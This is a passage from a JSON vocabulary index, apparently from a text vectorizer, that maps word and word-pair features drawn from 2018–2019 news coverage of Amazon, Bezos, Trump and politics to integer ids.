unconstitutional": 83493, "bowker": 83494, "acquisitions": 83495, "story lists": 83496, "expecting resulting": 83497, "create lots": 83498, "new way": 83499, "president emergency": 83500, "grasped": 83501, "protections provided": 83502, "bickering": 83503, "enjoying trumped": 83504, "available technology": 83505, "products company": 83506, "billion legal": 83507, "growing company": 83508, "equals": 83509, "biggest wine": 83510, "benchmark price": 83511, "government hoops": 83512, "96th street": 83513, "decline data": 83514, "unfussy nourishment": 83515, "democrats including": 83516, "snookered": 83517, "buying equities": 83518, "america role": 83519, "elderly americans": 83520, "irs ruling": 83521, "trump month": 83522, "increased pressures": 83523, "muckerman owns": 83524, "regulatory approach": 83525, "delivering service": 83526, "siegfried": 83527, "entirely separate": 83528, "citing evidence": 83529, "mnuchin calls": 83530, "hankering": 83531, "job repeal": 83532, "shift seamlessly": 83533, "globalism": 83534, "sides agreed": 83535, "tr iwb": 83536, "tony danza": 83537, "budget hearing": 83538, "does really": 83539, "hire workers": 83540, "messy morning": 83541, "inclined tech": 83542, "network good": 83543, "physical abuse": 83544, "participate saying": 83545, "boycott related": 83546, "want antitrust": 83547, "latam cloud": 83548, "schools popular": 83549, "bounds": 83550, "180000": 83551, "alum michael": 83552, "comments related": 83553, "goff completed": 83554, "robert wolf": 83555, "internet addresses": 83556, "cnn election": 83557, "refugees admit": 83558, "world 500": 83559, "twitter saying": 83560, "smaller companies": 83561, "vantage point": 83562, "tank winners": 83563, "kicks dirt": 83564, "medical research": 83565, "west gizmo": 83566, "redhotblaziken": 83567, "standing ovation": 83568, "patchen new": 83569, "local paper": 83570, "currently available": 83571, "current cycle": 83572, "akron chapter": 83573, "counterfeited goods": 83574, "build cars": 83575, "europe melania": 83576, "louis suburb": 83577, "perceived enemy": 83578, "old today": 83579, "margin nature": 83580, "domain document": 83581, "truly benefit": 83582, "cemeteries": 83583, "homicide round": 83584, "existing narrow": 83585, "sumitomo": 83586, "doing hit": 83587, "sketches": 83588, "legislative decisions": 83589, "dedicated": 83590, "blackmail claim": 83591, "stealth biotherapeutics": 83592, "growing commerce": 83593, "penitentiary wrote": 83594, "jeffrey immelt": 83595, "provide consumers": 83596, "hq source": 83597, "hollywood restaurant": 83598, "news contributor": 83599, "reactid 201": 83600, "businesses black": 83601, "screengrab": 83602, "cargo follows": 83603, "new ad": 83604, "street art": 83605, "cortez directly": 83606, "emergency rooms": 83607, "amazon original": 83608, "optimize production": 83609, "warehouse floor": 83610, "conversations dramatic": 83611, "current potus": 83612, "nathaniel meyersohn": 83613, "sidewalk mailboxes": 83614, "broke watergate": 83615, "euro oescam": 83616, "swj small": 83617, "59am": 83618, "sports storm": 83619, "conducted public": 83620, "mesh smoothly": 83621, "computing leader": 83622, "award process": 83623, "email send": 83624, "amazon regulatory": 83625, "liberal heads": 83626, "6097408 haaretz": 83627, "narendra": 83628, "deep travels": 83629, "company right": 83630, "billion ticker": 83631, "husband gerald": 83632, "things business": 83633, "observatory": 83634, "recent announcement": 83635, "rank search": 83636, "editorial matters": 83637, "york profile": 83638, "hololens augmented": 83639, "new title": 83640, "thriving business": 83641, "crisis council": 83642, "clear edge": 83643, "valuable listed": 83644, "200b": 83645, "executives threatened": 83646, "colder school": 83647, "jeff ayers": 83648, "interview trump": 83649, "significant carbon": 83650, "acct": 83651, "barbados": 83652, "judge denies": 83653, "divine melodrama": 83654, "recalled previous": 83655, "huffpost": 83656, "equity region": 83657, "freewheeling": 83658, "prep": 83659, "recode daily": 83660, "just digging": 83661, "nonetheless obtainable": 83662, "reasonably objects": 83663, "songs albums": 83664, "canine companions": 83665, "trump fires": 83666, "valley trump": 83667, "pizzagate conspiracy": 83668, "donnell biography": 83669, "402": 83670, "conway tells": 83671, "causes employees": 83672, "extremely important": 83673, "government certifications": 83674, "2018 2018": 83675, "insider leanna": 83676, "finite": 83677, "quality georgia": 83678, "began testing": 83679, "bloomberg pic": 83680, "report ends": 83681, "politics ktumulty": 83682, "care line": 83683, "independence day": 83684, "recordings amazon": 83685, "lucid moment": 83686, "gain financial": 83687, "annual hrc": 83688, "healthier": 83689, "receives star": 83690, "fileting": 83691, "motorola": 83692, "anticipated regulations": 83693, "vacuuming": 83694, "approved transactions": 83695, "ingels": 83696, "airport read": 83697, "greg_ip": 83698, "sally french": 83699, "pricing cost": 83700, "blumenthal called": 83701, "drug tests": 83702, "stamped letter": 83703, "dow just": 83704, "simmered kabocha": 83705, "accede": 83706, "content jeanine": 83707, "hammer bezos": 83708, "fundamental tailwinds": 83709, "break announcements": 83710, "quickly treasury": 83711, "family drama": 83712, "months stelter": 83713, "initial sales": 83714, "old son": 83715, "original hq2": 83716, "binge draw": 83717, "storied civil": 83718, "objective standpoint": 83719, "following flurry": 83720, "republicans claiming": 83721, "hack worried": 83722, "today white": 83723, "thumb medium": 83724, "offshore dollar": 83725, "trump endorsement": 83726, "aim\u00e9 president": 83727, "internet connected": 83728, "denounces indigenous": 83729, "deliver diapers": 83730, "heavily populated": 83731, "applied materials": 83732, "icann": 83733, "deficit continues": 83734, "agency elemental": 83735, "obstructjustice": 83736, "seconds flotus": 83737, "guaranteed say": 83738, "nonsense varney": 83739, "try drug": 83740, "marketplace companies": 83741, "finally struck": 83742, "web retailer": 83743, "cultural insensitivity": 83744, "apple loss": 83745, "left defense": 83746, "dented": 83747, "sweden won": 83748, "jammed": 83749, "chappatta quick": 83750, "large scale": 83751, "u8 r4ee": 83752, "curtail": 83753, "complete infringement": 83754, "huntington": 83755, "paying income": 83756, "wrong information": 83757, "reportedly foreclosed": 83758, "corresponding gaap": 83759, "718 billion": 83760, "president chose": 83761, "doesn dissuade": 83762, "fnarena": 83763, "software maker": 83764, "expense rate": 83765, "honor pic": 83766, "loan ratio": 83767, "gianni versace": 83768, "hollywood invented": 83769, "pinning rise": 83770, "plunges": 83771, "investors read": 83772, "schwartz arthurschwartz": 83773, "evening": 83774, "college years": 83775, "stay ahead": 83776, "pashman": 83777, "lionel laurent": 83778, "gotten budgets": 83779, "haunts": 83780, "true corporate": 83781, "consumers start": 83782, "china despite": 83783, "usat": 83784, "visible": 83785, "requested jury": 83786, "stocking stuffer": 83787, "wider adoption": 83788, "considerably": 83789, "chlo\u00eb": 83790, "producer writer": 83791, "socialists ocasio": 83792, "trump insulted": 83793, "credited mackenzie": 83794, "gym amazon": 83795, "populist trump": 83796, "humankind": 83797, "sisk military": 83798, "vale deadly": 83799, "freelance journalist": 83800, "koch blasted": 83801, "kickstand want": 83802, "billion year": 83803, "nate mcmurray": 83804, "contained giveaway": 83805, "805 boosting": 83806, "monkey kidney": 83807, "cohorts": 83808, "ndm1pvknzp david": 83809, "mere 200": 83810, "investigated bezos": 83811, "strategy antitrust": 83812, "starbucks syringe": 83813, "billion clawback": 83814, "accused president": 83815, "predictive policing": 83816, "advanced tanker": 83817, "silence conservatives": 83818, "twitter rage": 83819, "denies playing": 83820, "issue lot": 83821, "high price": 83822, "richest area": 83823, "pass amazon": 83824, "melissa frandsen": 83825, "america sale": 83826, "deceleration boorstin": 83827, "sign maria": 83828, "spending doesn": 83829, "friction ahead": 83830, "newer penalties": 83831, "reacted deeply": 83832, "retail heavy": 83833, "races": 83834, "eating james": 83835, "trump really": 83836, "nyse ko": 83837, "billion share": 83838, "goods additionally": 83839, "missed targets": 83840, "declaring national": 83841, "m8 w5": 83842, "congrats derangeddonald": 83843, "sector organizations": 83844, "new boeing": 83845, "ordered team": 83846, "titled simply": 83847, "ageism": 83848, "assist customers": 83849, "coke new": 83850, "package pickup": 83851, "russians interfered": 83852, "vote sam": 83853, "abandoned restaurant": 83854, "northam": 83855, "bluster trump": 83856, "highly suspect": 83857, "lost retail": 83858, "poll finding": 83859, "encounter oscars": 83860, "concrete pours": 83861, "2015 reuters": 83862, "andrea": 83863, "skill": 83864, "protect customers": 83865, "margin business": 83866, "strong desire": 83867, "business carlos": 83868, "year buckey": 83869, "holding just": 83870, "warehouse staff": 83871, "domenic": 83872, "government chief": 83873, "jim jordan": 83874, "realdonaldtrump alandersh": 83875, "justice issues": 83876, "mentioned occurred": 83877, "bartiromo wow": 83878, "fringe forums": 83879, "countdown begins": 83880, "filing confirmed": 83881, "ease trade": 83882, "wall street": 83883, "marketwatch articles": 83884, "equinox": 83885, "document news": 83886, "summarily met": 83887, "century entrepreneurs": 83888, "portable": 83889, "capitalisation": 83890, "represent quarter": 83891, "oppose gay": 83892, "martinez": 83893, "conduct test": 83894, "trudeau puppet": 83895, "housing lead": 83896, "progressive political": 83897, "assessment trump": 83898, "today salacious": 83899, "famously louche": 83900, "apple companies": 83901, "truly stunning": 83902, "beyonc\u00e9": 83903, "snap stock": 83904, "partly stem": 83905, "wavering stance": 83906, "bette midler": 83907, "direct investment": 83908, "strident": 83909, "second phase": 83910, "gdpr proved": 83911, "severest": 83912, "hitting major": 83913, "buyers": 83914, "generate billions": 83915, "hit monthly": 83916, "yards bank": 83917, "gf lauren": 83918, "zee": 83919, "physical store": 83920, "net job": 83921, "legitimization": 83922, "amazon big": 83923, "secretly recording": 83924, "kym worthy": 83925, "reiterating support": 83926, "br 319": 83927, "foxconn chairman": 83928, "battle filled": 83929, "rent seeking": 83930, "raises target": 83931, "stores using": 83932, "speech trump": 83933, "dead score": 83934, "extreme inflation": 83935, "costume": 83936, "immigration demonstration": 83937, "taken aim": 83938, "policies saying": 83939, "moves away": 83940, "sent 840": 83941, "2019 sanches": 83942, "siriously": 83943, "security 1542171601": 83944, "notorious publications": 83945, "century regulations": 83946, "fellow tycoons": 83947, "seek information": 83948, "meat sticks": 83949, "trump campaign": 83950, "auto loan": 83951, "connected economy": 83952, "don suck": 83953, "reached soon": 83954, "lines someday": 83955, "inquirer feud": 83956, "fliers advertising": 83957, "associated fox": 83958, "sanders attacks": 83959, "china probably": 83960, "union multilateral": 83961, "great stonecrest": 83962, "showed headlines": 83963, "notification saying": 83964, "million golden": 83965, "best ways": 83966, "played critical": 83967, "weather american": 83968, "overdrive politics": 83969, "community divided": 83970, "commuting times": 83971, "majority owner": 83972, "google 2018": 83973, "consecutive months": 83974, "poured": 83975, "statistic heard": 83976, "ashworth": 83977, "stock outright": 83978, "fb having": 83979, "mexico despite": 83980, "blog senator": 83981, "china told": 83982, "google accusing": 83983, "obstruction charges": 83984, "peter a19": 83985, "ellison": 83986, "aviation enthusiast": 83987, "extension british": 83988, "minions pope": 83989, "pyongyang president": 83990, "include fashion": 83991, "uncovered evidence": 83992, "presents round": 83993, "gotten raw": 83994, "approved acquisitions": 83995, "emailing": 83996, "key years": 83997, "buy ceo": 83998, "hr dive": 83999, "126": 84000, "platform don": 84001, "kass clarkson": 84002, "money amazon": 84003, "appointed released": 84004, "lamented ocasio": 84005, "shriver joined": 84006, "dc swamp": 84007, "tv chromecast": 84008, "toby stephens": 84009, "heights illinois": 84010, "investors buy": 84011, "stake euro": 84012, "prove awkward": 84013, "prevent foreign": 84014, "don just": 84015, "budgeted": 84016, "regarding amazon": 84017, "giant introduced": 84018, "really run": 84019, "deforestation hotspot": 84020, "commission bring": 84021, "morning thanks": 84022, "tl literally": 84023, "amendment increasingly": 84024, "underpowered case": 84025, "states want": 84026, "forcing companies": 84027, "centralizing": 84028, "counselor kellyanne": 84029, "rightly shift": 84030, "shipping service": 84031, "labor spikes": 84032, "hawking george": 84033, "sherwin": 84034, "terrible prophecy": 84035, "company helps": 84036, "selfie face": 84037, "amazon activists": 84038, "forecasts": 84039, "captures trump": 84040, "orange hair": 84041, "price preorder": 84042, "grace new": 84043, "china stocks": 84044, "jpg 1150x540": 84045, "abhish": 84046, "girl helps": 84047, "settlement posted": 84048, "liu": 84049, "remain stalled": 84050, "blessings freely": 84051, "neighbour": 84052, "2125et": 84053, "shipping customers": 84054, "hydroponic farming": 84055, "directly linked": 84056, "making europe": 84057, "mcnamee ap": 84058, "6k seth": 84059, "bold stance": 84060, "containing question": 84061, "officials sanders": 84062, "london building": 84063, "global depression": 84064, "financial relationship": 84065, "employees particularly": 84066, "commercial advisor": 84067, "travel sites": 84068, "book reached": 84069, "family lawyer": 84070, "turnover year": 84071, "public lecture": 84072, "orange vanilla": 84073, "paige leskin": 84074, "860 products": 84075, "publication parent": 84076, "priority infrastructure": 84077, "mixed celebrity": 84078, "denver fischer": 84079, "emphasis added": 84080, "charts cdc_4594963233aeb9189cdc41a8_embed": 84081, "ries ries": 84082, "reback": 84083, "jpg": 84084, "bezos nunberg": 84085, "wrong thing": 84086, "long legal": 84087, "winning comedy": 84088, "fact set": 84089, "alleged corruption": 84090, "yale reuters": 84091, "desmond hellmann": 84092, "plus requests": 84093, "pet owners": 84094, "capacity demands": 84095, "phone youtube": 84096, "big companies": 84097, "expected completion": 84098, "list world": 84099, "stifle news": 84100, "npr london": 84101, "right jeffrey": 84102, "remains strong": 84103, "clients kenneth": 84104, "catastrophe": 84105, "good payoff": 84106, "significant investments": 84107, "cottage trade": 84108, "oslo": 84109, "guy know": 84110, "new donald": 84111, "twitch goodreads": 84112, "alexa service": 84113, "2fwww theverge": 84114, "told journalists": 84115, "executive allen": 84116, "create legal": 84117, "season worthy": 84118, "special pricing": 84119, "adds details": 84120, "victory oscar": 84121, "pbm pure": 84122, "company pushed": 84123, "workplace amazon": 84124, "presence enterprise": 84125, "wars convention": 84126, "box department": 84127, "welcoming refugees": 84128, "post hit": 84129, "house correspondent": 84130, "manama bahrain": 84131, "occur": 84132, "legislative fiscal": 84133, "provocative odyssey": 84134, "lonergan president": 84135, "year keynote": 84136, "delivery agriculture": 84137, "dwyane wade": 84138, "group presumably": 84139, "devise": 84140, "left gator": 84141, "207 reasonable": 84142, "kingdom consulate": 84143, "magnet": 84144, "boost private": 84145, "intoned": 84146, "0992 hk": 84147, "giving workers": 84148, "government buyers": 84149, "service subsidies": 84150, "yesterday thanks": 84151, "replacestate a4ee": 84152, "reckons": 84153, "cornerstone": 84154, "year cohen": 84155, "seamless experience": 84156, "agency says": 84157, "cnn source": 84158, "things brian": 84159, "warpath": 84160, "association owns": 84161, "planet ending": 84162, "thoughts network": 84163, "image tom": 84164, "ohkarb7dbf": 84165, "service huge": 84166, "cutting": 84167, "jpg fit": 84168, "roughly 400": 84169, "support swj": 84170, "san": 84171, "sent cease": 84172, "mcmullan": 84173, "original dissident": 84174, "severity": 84175, "competitive trump": 84176, "bloody great": 84177, "year extension": 84178, "presents bezos": 84179, "couple living": 84180, "city bringing": 84181, "communications trump": 84182, "start prime": 84183, "push 800": 84184, "regulation fine": 84185, "independence enterprise": 84186, "god melodrama": 84187, "chicago project": 84188, "despite poor": 84189, "mueller research": 84190, "bizarre story": 84191, "consumers toto": 84192, "season 2018": 84193, "indystar buy": 84194, "corporations including": 84195, "fast growing": 84196, "illegally says": 84197, "bootstrapper studios": 84198, "brazil haaland": 84199, "discounted maybe": 84200, "trump rocketed": 84201, "rekognition service": 84202, "2001 american": 84203, "glory told": 84204, "business video": 84205, "16m": 84206, "h9x": 84207, "bonus scheme": 84208, "greer kadetsky": 84209, "googled trump": 84210, "playoff starts": 84211, "convincing argument": 84212, "favorites": 84213, "276 454": 84214, "corporations groups": 84215, "acre austin": 84216, "singling": 84217, "election advertising": 84218, "sarcastically wished": 84219, "government local": 84220, "bozo divorcing": 84221, "usb": 84222, "california wildfire": 84223, "provide skills": 84224, "site created": 84225, "troops assigned": 84226, "devin": 84227, "frieda montreal": 84228, "donor class": 84229, "dagen mcdowell": 84230, "chief margrethe": 84231, "current policy": 84232, "grasping wife": 84233, "ceo took": 84234, "unmistakable message": 84235, "fueling programs": 84236, "military police": 84237, "protection services": 84238, "bezos david": 84239, "major trump": 84240, "oracle bid": 84241, "clown suits": 84242, "writer candice": 84243, "track building": 84244, "peer jd": 84245, "diving excursion": 84246, "nick statt": 84247, "trump sent": 84248, "showman ceo": 84249, "stock tumbled": 84250, "odd bedfellows": 84251, "loophole closers": 84252, "hidalgo international": 84253, "correction index": 84254, "generation cloud": 84255, "criticize amazon": 84256, "shipstation": 84257, "famous wealthiest": 84258, "recognition cameras": 84259, "health right": 84260, "good day": 84261, "definers pr": 84262, "claims brought": 84263, "becker passive": 84264, "liberal slant": 84265, "amazon obsession": 84266, "sandy sandyk5251": 84267, "policy council": 84268, "won compromise": 84269, "2010et copyright": 84270, "sanders introduces": 84271, "social norms": 84272, "finance family": 84273, "video audio": 84274, "righteous": 84275, "asset forfeiture": 84276, "billions mother": 84277, "bills contain": 84278, "jane fonda": 84279, "wyoming": 84280, "mayangdi inzaulgarat": 84281, "populated rural": 84282, "going going": 84283, "cnn sabby": 84284, "murdered babies": 84285, "donald jr": 84286, "serve civilians": 84287, "s1 a4ee": 84288, "outdo": 84289, "time things": 84290, "memo calls": 84291, "transgressions": 84292, "report reveals": 84293, "reading germany": 84294, "trump going": 84295, "squaring": 84296, "cloud rivals": 84297, "mega corp": 84298, "pipped spacex": 84299, "ebay nasdaq": 84300, "indiewire amazon": 84301, "encroached": 84302, "destructive chain": 84303, "voluminous": 84304, "protester elizabeth": 84305, "brief sent": 84306, "weekend defined": 84307, "constitutional law": 84308, "amazon thousands": 84309, "gdp view": 84310, "gerrymandering artful": 84311, "encapsulated": 84312, "armed gang": 84313, "record time": 84314, "e0 t9x": 84315, "180928150901 rose": 84316, "stuart rosenberg": 84317, "volpe tells": 84318, "merchandize": 84319, "investors hoped": 84320, "tape": 84321, "war related": 84322, "firm wrote": 84323, "amazon represents": 84324, "drags dog": 84325, "eric schmidt": 84326, "just discussed": 84327, "cars getting": 84328, "sessions announces": 84329, "trump ranges": 84330, "feels": 84331, "katranides": 84332, "struggling felt": 84333, "pecker guided": 84334, "wholesale cope": 84335, "conservative social": 84336, "family office": 84337, "box altogether": 84338, "davis": 84339, "diaries files": 84340, "content amazon": 84341, "definite window": 84342, "usps remains": 84343, "benefits worth": 84344, "pets california": 84345, "view problems": 84346, "peaceful world": 84347, "senior media": 84348, "dhabi": 84349, "vermont christine": 84350, "service partner": 84351, "good neighbor": 84352, "boy share": 84353, "common people": 84354, "service customers": 84355, "services generated": 84356, "early 2016": 84357, "lower juicier": 84358, "fact checking": 84359, "tech bubble": 84360, "owner american": 84361, "predominant market": 84362, "office building": 84363, "news daphn\u00e9": 84364, "cast president": 84365, "unveiling amazon": 84366, "plan julian": 84367, "teaching classes": 84368, "practising": 84369, "selling surveillance": 84370, "triple white": 84371, "related headwinds": 84372, "saving billions": 84373, "petition read": 84374, "dollar 2018": 84375, "felt according": 84376, "trump progeny": 84377, "pf_rd_s": 84378, "tech companies": 84379, "headliners include": 84380, "bausch lomb": 84381, "foundup": 84382, "concerted push": 84383, "undocumented immigrants": 84384, "smalls": 84385, "big partnership": 84386, "pot new": 84387, "lowest skilled": 84388, "chaplinesque": 84389, "increasingly vocal": 84390, "concerning tax": 84391, "considering individual": 84392, "video alphaone": 84393, "basil": 84394, "european countries": 84395, "companies maybe": 84396, "handle anissue": 84397, "shap post": 84398, "million trying": 84399, "adviser explains": 84400, "inc_headline": 84401, "edmund lee": 84402, "independently verified": 84403, "server719402": 84404, "michaels": 84405, "senior advisers": 84406, "charges know": 84407, "chinese american": 84408, "cartoonist steve": 84409, "bradbury famously": 84410, "axs": 84411, "year salary": 84412, "chief trump": 84413, "online report": 84414, "slumps": 84415, "sensation": 84416, "207": 84417, "kedis ogborn": 84418, "proven strategies": 84419, "cognizant": 84420, "adopt child": 84421, "inverting": 84422, "flexible attorney": 84423, "department approval": 84424, "altered machines": 84425, "force reaches": 84426, "number amazon": 84427, "pledge announced": 84428, "long expose": 84429, "influence apple": 84430, "worst scenario": 84431, "wires remain": 84432, "potentially challenge": 84433, "tilson isn": 84434, "computers read": 84435, "lobbyist keeping": 84436, "business grew": 84437, "facebook dilemma": 84438, "1999 book": 84439, "actions courts": 84440, "guy whoknows": 84441, "members gather": 84442, "contain multiple": 84443, "verify cases": 84444, "team haven": 84445, "expos\u00e9 tracing": 84446, "child welfare": 84447, "product sourcing": 84448, "resistant paint": 84449, "high pressure": 84450, "areas protected": 84451, "unsubstantiated apnewsbreak": 84452, "nfc payments": 84453, "mingles": 84454, "suv": 84455, "debt writes": 84456, "utilizing parcel": 84457, "wage walmart": 84458, "sbux": 84459, "usps fiscal": 84460, "ollow": 84461, "technica reports": 84462, "says company": 84463, "especially want": 84464, "displays results": 84465, "technical design": 84466, "ceo just": 84467, "ticks higher": 84468, "mccarthy references": 84469, "hoover stayed": 84470, "pretty quickly": 84471, "resources controversial": 84472, "properly appraise": 84473, "desserts sweets": 84474, "urging current": 84475, "scent": 84476, "parties category": 84477, "2012 sandy": 84478, "people turn": 84479, "hathaway shares": 84480, "download modify": 84481, "normal process": 84482, "193 dutch": 84483, "problem follow": 84484, "deports": 84485, "snapped": 84486, "issue say": 84487, "big little": 84488, "dana deasy": 84489, "tax inversion": 84490, "pritzker": 84491, "tesla sounds": 84492, "address homelessness": 84493, "seeking asylum": 84494, "righteous angels": 84495, "review 2070336002": 84496, "fund reuters": 84497, "says eu": 84498, "jobs arrived": 84499, "loose lips": 84500, "tech trotter": 84501, "congressman amazon": 84502, "isn influenced": 84503, "common chicken": 84504, "fight deforestation": 84505, "note hardware": 84506, "630 billion": 84507, "contentservices": 84508, "attic": 84509, "alex gorsky": 84510, "company deliveroo": 84511, "cbs jeff": 84512, "spinach": 84513, "point chukumba": 84514, "tech oligopoly": 84515, "newpaper24 getty": 84516, "recommends nutrition": 84517, "cuomo thanks": 84518, "stellar": 84519, "israel prime": 84520, "r4ee o4e": 84521, "low enthusiasm": 84522, "haynes rowan": 84523, "corporation led": 84524, "sensible": 84525, "quickly responded": 84526, "insignia consultants": 84527, "weintraub": 84528, "featured stacks": 84529, "mail brennan": 84530, "grievous": 84531, "chosen struggling": 84532, "extra raccoon": 84533, "employee jace": 84534, "new drops": 84535, "putin denies": 84536, "subside amazon": 84537, "nearly 100": 84538, "netflix boycottnetflix": 84539, "land uses": 84540, "usual studied": 84541, "w5q case": 84542, "republicans wereoutplayed": 84543, "small decisions": 84544, "sold 271": 84545, "coratti kelly": 84546, "ire": 84547, "ferrante": 84548, "2018 massive": 84549, "mccabe discussion": 84550, "raise deficits": 84551, "silly contraction": 84552, "record conversations": 84553, "confirmation tariffs": 84554, "retail operating": 84555, "timer": 84556, "current model": 84557, "living conditions": 84558, "awful rachel": 84559, "amazon russian": 84560, "effective nov": 84561, "evidence existed": 84562, "exact pre": 84563, "challenge price": 84564, "hq2": 84565, "revolting behavior": 84566, "device declared": 84567, "abuse hypocrites": 84568, "numerous tweets": 84569, "dedicated teams": 84570, "ridiculed trump": 84571, "fi anthology": 84572, "stamps sen": 84573, "political gossip": 84574, "optimisation practices": 84575, "flurry trump": 84576, "especially latency": 84577, "line growth": 84578, "routinely": 84579, "operations twitter": 84580, "celeste": 84581, "servants": 84582, "city air": 84583, "called gartner": 84584, "transatlantic future": 84585, "common": 84586, "internet clicks": 84587, "mick trump": 84588, "establishing task": 84589, "labo": 84590, "brian hall": 84591, "winds rush": 84592, "freezing": 84593, "company barely": 84594, "cities experiencing": 84595, "losing money": 84596, "morthland college": 84597, "advice philip": 84598, "jared talk": 84599, "breaks new": 84600, "federal prison": 84601, "duties amazon": 84602, "amazon 100": 84603, "leadership shakeup": 84604, "remains acute": 84605, "local openings": 84606, "aliens": 84607, "cleanse": 84608, "era program": 84609, "national air": 84610, "supersized employer": 84611, "tweeting nuclear": 84612, "kohls combination": 84613, "diaz editorial": 84614, "dinner source": 84615, "headquartered according": 84616, "california tested": 84617, "beneficial according": 84618, "fantasises": 84619, "content yes": 84620, "penguin": 84621, "initial days": 84622, "rescue committee": 84623, "organized protest": 84624, "strong quarter": 84625, "short sanders": 84626, "trump suggested": 84627, "images forbesimg": 84628, "falcon heavy": 84629, "misconduct youtube": 84630, "writing covfefe": 84631, "overtake starbucks": 84632, "taps": 84633, "srch": 84634, "political elites": 84635, "amazon opens": 84636, "dismembering": 84637, "healthier children": 84638, "leave package": 84639, "flag integrators": 84640, "versus doing": 84641, "paper arms": 84642, "wisdom watch": 84643, "banking options": 84644, "daniel sloss": 84645, "trump arrived": 84646, "rourke drew": 84647, "change finally": 84648, "user microphone": 84649, "requires internet": 84650, "safety issues": 84651, "tanked": 84652, "faber": 84653, "media skepticism": 84654, "ad superimposed": 84655, "joseph parilla": 84656, "movie portfolio": 84657, "wiped nearly": 84658, "jamarlin": 84659, "commissions fulfillment": 84660, "eligible news": 84661, "picturing": 84662, "times warren": 84663, "a4ee h8": 84664, "jim lentz": 84665, "antitrust concerns": 84666, "daniel": 84667, "magnitude earthquake": 84668, "blaming politics": 84669, "conway special": 84670, "positive earnings": 84671, "antitrust prosecution": 84672, "videopinner containerclassid": 84673, "service budget": 84674, "sprouts": 84675, "expensive suites": 84676, "core immediately": 84677, "woodward devastating": 84678, "classic 1940s": 84679, "predecessor missteps": 84680, "cited anti": 84681, "html counterpoint": 84682, "biggest lingering": 84683, "known donation": 84684, "media admitting": 84685, "texas ranch": 84686, "businesses nokia": 84687, "time hear": 84688, "aisles": 84689, "cooler yes": 84690, "morons netflix": 84691, "deliveries unfortunately": 84692, "fact charge": 84693, "2016 variety": 84694, "actually talking": 84695, "pharmacy experience": 84696, "issued business": 84697, "tha amazon": 84698, "nonpartisan legislative": 84699, "businessperson": 84700, "helmet": 84701, "retained high": 84702, "report critics": 84703, "worldwide google": 84704, "quick food": 84705, "rove": 84706, "sourer": 84707, "impending crisis": 84708, "kathie lee": 84709, "hasn led": 84710, "debunked claimed": 84711, "backwoods california": 84712, "teensafe leaves": 84713, "photo randy": 84714, "brazilian agricultural": 84715, "left residents": 84716, "invited followers": 84717, "kennedy suggested": 84718, "scalise la": 84719, "desjarlais tn": 84720, "following heated": 84721, "including nearly": 84722, "pay consumption": 84723, "spiegel": 84724, "manufacturers pharmaceutical": 84725, "1993 finally": 84726, "wrinkle": 84727, "write ihob": 84728, "handling classified": 84729, "money protecting": 84730, "550 cards": 84731, "border barriers": 84732, "treating putin": 84733, "orange county": 84734, "minister mark": 84735, "ibm intel": 84736, "lawn mowing": 84737, "order appointing": 84738, "worth 163": 84739, "multiple fatalities": 84740, "peter georgescu": 84741, "weeks easley": 84742, "toll increases": 84743, "getting bad": 84744, "stall": 84745, "leaning newspaper": 84746, "trade secrets": 84747, "false inc_custom_sidebar": 84748, "huge warehouse": 84749, "happy people": 84750, "savior cnn": 84751, "allow contractors": 84752, "d16991847": 84753, "particularly sensitive": 84754, "ferrari slumped": 84755, "r1": 84756, "bigcommerce woocommerce": 84757, "stephen miller": 84758, "politics 2018": 84759, "prove complex": 84760, "biographical": 84761, "retailer cnn": 84762, "headquarters plans": 84763, "exports rebounded": 84764, "goods company": 84765, "aloud don": 84766, "company perennial": 84767, "global workforce": 84768, "suspending acosta": 84769, "externally": 84770, "ordered obstruction": 84771, "pending cloud": 84772, "missteps": 84773, "bezos begins": 84774, "effective immediately": 84775, "overlook": 84776, "music stars": 84777, "shipping solutions": 84778, "pamela anderson": 84779, "reinstatement": 84780, "divorce lawyer": 84781, "don win": 84782, "trump fear": 84783, "deep fake": 84784, "legal fellow": 84785, "gop lawmaker": 84786, "protest bills": 84787, "patriarch": 84788, "headed corporate": 84789, "discuss modernizing": 84790, "imagine flipping": 84791, "management reforms": 84792, "online shop": 84793, "idea barely": 84794, "contaminating drinking": 84795, "trump silicon": 84796, "parties known": 84797, "amazon postmaster": 84798, "years democrats": 84799, "sanchez jeff": 84800, "2018 following": 84801, "umizoomi math": 84802, "competes": 84803, "adoptive father": 84804, "watergate reporter": 84805, "level amazon": 84806, "charles manson": 84807, "sciences list": 84808, "chang airs": 84809, "michael avenatti": 84810, "lynch director": 84811, "r4ee g5e": 84812, "michael coleman": 84813, "alive": 84814, "spectrum senator": 84815, "marijuana safety": 84816, "brothers fail": 84817, "2022 report": 84818, "8220 dysfunctional": 84819, "lucas": 84820, "kullgren fed": 84821, "client gregory": 84822, "airpods": 84823, "buying mail": 84824, "measures announced": 84825, "folks leave": 84826, "feud ensnares": 84827, "devices 2018": 84828, "league": 84829, "ceo rallying": 84830, "trump ramped": 84831, "money charge": 84832, "old testament": 84833, "villain ernst": 84834, "queasiness": 84835, "hsbc": 84836, "sent thank": 84837, "181003125909 a45": 84838, "stuffed chicken": 84839, "thinking americans": 84840, "recommend recent": 84841, "night mccarthy": 84842, "cuomo lashed": 84843, "noted victor": 84844, "board seat": 84845, "seminole hard": 84846, "marijuana according": 84847, "forced small": 84848, "mark meadows": 84849, "butter": 84850, "retracted statements": 84851, "uncrewed pod": 84852, "releas disney": 84853, "brad keywell": 84854, "crime news": 84855, "file footage": 84856, "projectsa measure": 84857, "071": 84858, "para\u00edba state": 84859, "solidarity group": 84860, "stern school": 84861, "hehas meeting": 84862, "american creep": 84863, "botanical": 84864, "pecker hired": 84865, "data generated": 84866, "rich nasdaq": 84867, "movement underway": 84868, "better ad": 84869, "novel collaboration": 84870, "encourage buyers": 84871, "party dsps": 84872, "lecture": 84873, "denied mika": 84874, "don anticipate": 84875, "efforts mean": 84876, "bezos massive": 84877, "principal business": 84878, "cca specifically": 84879, "poll trump": 84880, "860 billion": 84881, "comprehensive agreement": 84882, "street story": 84883, "running mate": 84884, "good public": 84885, "connect iq": 84886, "amzn delivery": 84887, "zeid": 84888, "currently averages": 84889, "espouses": 84890, "la monica": 84891, "african woman": 84892, "henle": 84893, "management dismissive": 84894, "spectrum appear": 84895, "subscription retailer": 84896, "legally separate": 84897, "radio exchange": 84898, "300 manatees": 84899, "specific market": 84900, "stating bruce": 84901, "warehouses amazon": 84902, "tricky business": 84903, "murdered journalist": 84904, "unsafe conditions": 84905, "cortez killed": 84906, "rick": 84907, "academy charter": 84908, "forces executive": 84909, "tina brown": 84910, "salesforce ceo": 84911, "totalshtrump 3dpi": 84912, "brings death": 84913, "cases including": 84914, "naini": 84915, 